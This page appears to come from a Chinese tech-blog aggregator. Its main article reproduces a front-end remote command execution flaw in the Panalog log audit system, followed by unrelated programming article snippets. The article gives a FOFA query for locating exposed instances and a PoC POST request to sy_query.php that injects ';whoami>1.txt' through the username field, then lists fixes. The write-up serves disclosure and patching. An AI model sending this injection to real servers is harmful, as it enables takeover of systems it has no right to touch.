当前位置： 首页 > news >正文

Panalog 日志审计系统 前台RCE漏洞复现

news 2026/4/3 6:57:23

0x01 产品简介

 Panalog是一款日志审计系统，方便用户统一集中监控、管理在网的海量设备。

0x02 漏洞概述

 Panalog日志审计系统 sy_query.php接口处存在远程命令执行漏洞，攻击者可执行任意命令，接管服务器权限。

0x03 复现环境

FOFA：app="Panabit-Panalog"

0x04 漏洞复现

PoC

POST /account/sy_query.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: closeusername=;whoami>1.txt

查看命令执行结果

0x05 修复建议 

⼚商已发布了漏洞修复程序，请及时关注更新： https://www.panabit.com

通过防⽕墙等安全设备设置访问策略，设置⽩名单访问。

如⾮必要，禁⽌公⽹访问该系统。

相关文章：

Panalog 日志审计系统 前台RCE漏洞复现

0x01 产品简介 Panalog是一款日志审计系统，方便用户统一集中监控、管理在网的海量设备。 0x02 漏洞概述 Panalog日志审计系统 sy_query.php接口处存在远程命令执行漏洞，攻击者可执行任意命令，接管服务器权限。 0x03 复现环境 FOFA&#xf…...

编程日记 2023/12/1 8:01:46

Android设置文字颜色渐变

项目中用到了很多文字颜色渐变的设计，因此做一下记录。 核心代码如下： /*** 统一文字渐变色设置* param colors 渐变色字符串数组* param positions 渐变色位置数组，可为空* param start 渐变起始点，可为空* param end 渐变结束…...

编程日记 2023/12/1 7:59:44

java基础面试题(二)

java后端面试题大全 3.JVM3.1 对象实例、类信息、常量、静态变量分别在运行时数据区的哪个位置?3.2 java类的加载流程3.3 java内存溢出什么时候会发生以及解决方法 3.JVM 3.1 对象实例、类信息、常量、静态变量分别在运行时数据区的哪个位置? 堆 对象实例、String常量池、基…...

编程日记 2023/12/1 7:58:43

php爬虫实现把目标页面变成自己的网站页面

最近又被烦的不行，琐事不断，要是比起懒来一个人比一个人懒，但是懒要转换成动力啊，能让自己真正的偷懒，而不是浪费时间。每天还是需要不断的学习的，才能更好的提高效率，把之前做的简单小功能爬虫…...

编程日记 2023/12/1 7:57:42

[c语言c++]手写你自己的swap交换函数

函数传参有按值传递，指针传递，引用传递，分别看一下三种情况下的交换函数如何书写，应该使用哪种最方便。 当书写一个交换两个值的 swap 函数时，我们可以分别使用按值传参、指针传参和引用传参的方式来实现。下面是示例和…...

编程日记 2023/12/1 7:56:42

技术类知识汇总（二）

在自己日常学习javaweb的过程中，做的一些笔记和总结，汇总如下： Springboot项目的静态资源(html，css，js等前端资源)默认存放目录为：classpath:/static classpath:/public classpath:/resources"三层架…...

编程日记 2023/12/1 7:55:40

简单好用！日常写给 ChatGPT 的几个提示词技巧

ChatGPT 很强，但是有时候又显得很蠢，下面是使用 GPT4 的一个实例： 技巧一：三重冒号 """ 引用内容使用三重冒号 """，让 ChatGPT 清晰引用的内容： 技巧二：角色设定…...

编程日记 2023/12/1 7:52:36

pytorch分布式训练

1 基本概念 rank：进程号，在多进程上下文中，我们通常假定rank 0是第一个进程或者主进程，其它进程分别具有1，2，3不同rank号，这样总共具有4个进程 node：物理节点，可以是一个…...

编程日记 2023/12/1 7:51:35

【PyTorch】（三）模型的创建、参数初始化、保存和加载

文章目录 1. 模型的创建1.1. 创建方法1.1.1. 通过使用模型组件1.1.2. 通过继承nn.Module类 1.2. 模型组件1.2.1. 网络层1.2.2. 函数包1.2.3. 容器 1.3. 将模型转移到GPU 2. 模型参数初始化3. 模型的保存与加载3.1. 只保存参数3.2. 保存模型和参数 1. 模型的创建 1.1. 创建方法…...

编程日记 2023/12/1 7:48:29

高效开发之：判断复杂list中的对象属性是否包含某个值

技术使用&#xff1a;使用了Java 8引入的Stream API以及Optional类。这些特性用于简化集合的处理和减少空指针异常。 List<ResourceInfoDto> authData chatBase.getData();String baseName dto.getBaseName();Optional<ResourceInfoDto> authWithResourceCode a…...

编程日记 2023/12/1 7:47:28

MacOS + Android Studio 通过 USB 数据线真机调试

环境&#xff1a;Apple M1 MacOS Sonoma 14.1.1 软件&#xff1a;Android Studio Giraffe | 2022.3.1 Patch 3 设备&#xff1a;小米10 Android 13 一、创建测试项目 安卓 HelloWorld 项目: 安卓 HelloWorld 项目 二、数据线连接手机 1. 手机开启开发者模式 参考&#xff1…...

编程日记 2023/12/1 7:46:26

部署jekins遇到的问题

jdk问题 我用的jdk版本是21的结果版本太新了&#xff0c;启动jekins服务的时候总是报错最后在jekins的安装目录下面的jekinsErr.log查看日志发现是jdk问题最后换了一个17版本的就解决了。 unity和jekins jekins和Git源码管理 jekins和Git联动使用 我想让jekins每次打包的时…...

编程日记 2023/12/1 7:45:25

SQLY优化

insert优化 1.批量插入 手动事务提交 主键顺序插入&#xff0c;主键顺序插入性能高于乱序插入 2.大批量插入数据 如果一次性需要插入大批量数据&#xff0c;使用Insert语句插入性能较低&#xff0c;此时可以使用MYSQL数据库提供的load指令进行插入 主键优化 主键设计原则 …...

编程日记 2023/12/1 7:44:21

设计模式——行为型模式（一）

行为型模式用于描述程序在运行时复杂的流程控制，即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务，它涉及算法与对象间职责的分配。 行为型模式分为类行为模式和对象行为模式，前者采用继承机制来在类间分派行为，后者采用组合或聚合在对象间分配行…...

编程日记 2023/12/1 7:42:19

Rust语言入门教程(六) - 字符串类型

在Rust中&#xff0c; 字符串类型其实是一个比较复杂的话题。在Rust的标准库中&#xff0c;至少都提供了6种字符串类型&#xff0c;我们平常使用的最多的是其中的两种。这两种类型互相之间也有所关联&#xff1a; str&#xff1a; 字符串切片String 字符串 其中&#xff0c; 字…...

编程日记 2023/12/1 7:41:17

【MATLAB源码-第92期】基于simulink的QPSK调制解调仿真，采用相干解调对比原始信号和解调信号。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 QPSK&#xff0c;有时也称作四位元PSK、四相位PSK、4-PSK&#xff0c;在坐标图上看是圆上四个对称的点。通过四个相位&#xff0c;QPSK可以编码2位元符号。图中采用格雷码来达到最小位元错误率&#xff08;BER&#xff09; —…...

编程日记 2023/12/1 7:40:16

关于C语言控制浮点数输出精度问题

众所周知 C语言在控制一个浮点数输出精度的时候是在%和f之间加上一个.(想要控制的精度) 如&#xff1a;printf("%.2f", num); 问&#xff0c;试问&#xff1a;&#xff08;你就是我的御主吗&#xff1f;&#xff09;如果输出的精度是根据输入的数字变化的怎么办&am…...

编程日记 2023/12/1 7:39:13

【Linux 静态IP配置】

静态IP配置 1.NAT模式设置2.设置静态ip3.重启网络4.查看ip 1.NAT模式设置 首先设置虚拟机中NAT模式的选项&#xff0c;打开VMware&#xff0c;点击“编辑”下的“虚拟网络编辑器”&#xff0c;设置NAT参数 注意&#xff1a; VMware Network Adapter VMnet8保证是启用状态 …...

编程日记 2023/12/1 7:38:13

【Linux 操作系统配置 SFTP】

Linux 操作系统配置 SFTP sftp采用的是ssh加密隧道&#xff0c;安装性方面较ftp强&#xff0c;而且依赖的是系统自带的ssh服务&#xff0c;不像ftp还需要额外的进行安装基于 ssh 的 sftp 服务相比 ftp 有更好的安全性&#xff08;非明文帐号密码传输&#xff09;和方便的权限管…...

编程日记 2023/12/1 7:37:10

信贷专员简历模板

这份简历内容&#xff0c;以信贷专员招聘需求为背景&#xff0c;我们制作了1份全面、专业且具有参考价值的简历案例&#xff0c;大家可以灵活借鉴。 信贷专员简历在线编辑下载&#xff1a;百度幻主简历 求职意向 求职类型&#xff1a;全职 意向岗位&#xff1a;信贷专员 …...

编程日记 2023/12/1 7:35:06

AgentCPM深度研报助手使用技巧：三个参数让报告更专业

AgentCPM深度研报助手使用技巧&#xff1a;三个参数让报告更专业 1. 为什么你的AI研报总像“流水账”&#xff1f;问题可能出在参数上 你用过AI写报告&#xff0c;结果是不是这样&#xff1a;内容看起来都对&#xff0c;但读起来总觉得“差点意思”&#xff1f;结构松散像拼凑…...

编程新知 2026/4/3 5:20:18

【数据结构与算法】树，森林，二叉树之间的转换

树的定义&#xff08;递归定义&#xff09;树是满足以下条件的结构&#xff1a;有且仅有一个根节点&#xff08;没有父节点的节点&#xff09;其他节点分成 m 个互不相交的子树每个子树本身也是一棵树树的基本术语术语解释例子根节点最顶层的节点&#xff0c;没有父节点文件夹系…...

编程新知 2026/4/3 3:33:00

【独家首发】CPython内存管理策略白皮书（基于v3.9–v3.13源码比对）：37处关键宏定义、12个GC阈值参数、8类对象内存布局差异

第一章&#xff1a;CPython内存管理策略全景概览CPython 作为 Python 官方解释器&#xff0c;其内存管理机制融合了引用计数、循环垃圾回收&#xff08;GC&#xff09;与分代回收策略&#xff0c;形成一套兼顾实时性与鲁棒性的综合体系。理解该机制对诊断内存泄漏、优化对象生命…...

编程新知 2026/4/3 3:00:24

告别穿模与漂移！南洋理工团队提出HMR新框架：用视觉大模型对齐人体姿态

点击下方卡片&#xff0c;关注「3D视觉工坊」公众号选择星标&#xff0c;干货第一时间送达本文一作投稿发布 | 来源&#xff1a;3D视觉工坊「3D视觉从入门到精通」知识星球(点开有惊喜) &#xff01;星球内有20多门3D视觉系统课程、300场顶会讲解、顶会论文最新解读、海量3D视觉…...

编程新知 2026/4/3 2:56:22

Vivado Linux版安装空间不足？手把手教你如何优化磁盘空间分配

Vivado Linux版安装空间优化实战指南&#xff1a;从130G到80G的瘦身方案 当你在Linux系统上第一次看到Vivado安装程序提示需要130GB以上的磁盘空间时&#xff0c;那种震惊感我至今记忆犹新。作为一名长期在ThinkPad X1 Carbon上工作的FPGA开发者&#xff0c;我深刻理解空间受限…...

编程新知 2026/4/3 2:54:22

5分钟搞定OpenClaw+Qwen3-14b_int4_awq：星图GPU镜像一键体验

5分钟搞定OpenClawQwen3-14b_int4_awq&#xff1a;星图GPU镜像一键体验 1. 为什么选择星图平台体验OpenClaw 上周我在本地尝试部署OpenClaw时&#xff0c;被各种环境依赖折腾得够呛。从Node.js版本冲突到Python包兼容性问题&#xff0c;光是解决报错就花了大半天时间。正当我…...

编程新知 2026/4/3 0:56:38

开源工具DLSS Swapper：提升游戏帧率的智能版本管理方案

开源工具DLSS Swapper&#xff1a;提升游戏帧率的智能版本管理方案 【免费下载链接】dlss-swapper 项目地址: https://gitcode.com/GitHub_Trending/dl/dlss-swapper 在3A游戏画面日益精美的今天&#xff0c;如何在不牺牲画质的前提下提升帧率成为玩家面临的普遍挑战。…...

编程新知 2026/4/3 0:48:36

郭老师-永远要跟认知比你高的人在一起

永远要跟认知比你高的人在一起 ——从高人身上汲取智慧“你跟什么样的人在一起&#xff0c; 比你做什么样的事情重要得多。” ——巴菲特&#x1f33f; 真正的成长&#xff0c; 不是埋头苦干&#xff0c; 而是—— 站在巨人的肩膀上看世界。&#x1f52d; 一、认知高的人&#…...

编程新知 2026/4/3 0:48:35

机械臂空间直线圆弧圆插补代码介绍

【机械臂空间直线&圆弧&圆插补】 代码主要功能: 1. 正逆运动学解析解&#xff1b; 2. 空间直线、圆弧以及圆插补&#xff1b; 3. 基于Slerp、Nlerp算法的机械臂末端两姿态插补算法&#xff1b; 4. 机械臂空间直线、圆弧以及圆插补。 购前须知: 1. 代码均为个人手写&…...

编程新知 2026/4/2 23:43:36

VRCT：打破VRChat语言壁垒的实时翻译与转录工具

VRCT&#xff1a;打破VRChat语言壁垒的实时翻译与转录工具 【免费下载链接】VRCT VRCT(VRChat Chatbox Translator & Transcription) 项目地址: https://gitcode.com/gh_mirrors/vr/VRCT 在全球化的虚拟社交平台VRChat中&#xff0c;语言差异常常成为跨文化交流的主…...

编程新知 2026/4/2 23:18:59